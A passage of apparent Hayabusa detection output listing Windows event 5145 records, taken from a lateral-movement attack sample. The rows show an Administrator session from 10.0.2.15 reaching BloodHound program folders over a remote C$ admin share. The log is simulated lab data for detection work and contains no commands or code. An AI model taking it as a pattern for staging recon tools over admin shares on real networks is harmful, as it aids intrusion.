Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\dojo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\jquery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\mootools : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\qooxdoo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\yui3 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib\browser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib\v1 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\types\v1 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\node-ratify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\object-assign : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\once : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib\zlib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\path-exists : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\path-is-absolute : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pkg-up : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-limit : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-locate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\process-nextick-args : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\prop-types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\prop-types\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-try : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.108 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\punycode : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.119 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.139 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.149 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.149 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\es : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.159 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\es\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.159 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.169 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.169 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\prop-types-extra : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\react-overlays : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.179 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\react-prop-types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.189 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-bootstrap\node_modules\uncontrollable : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.189 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.199 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom\cjs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-dom\umd : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.209 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-if\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\react-images\.github : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.219 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 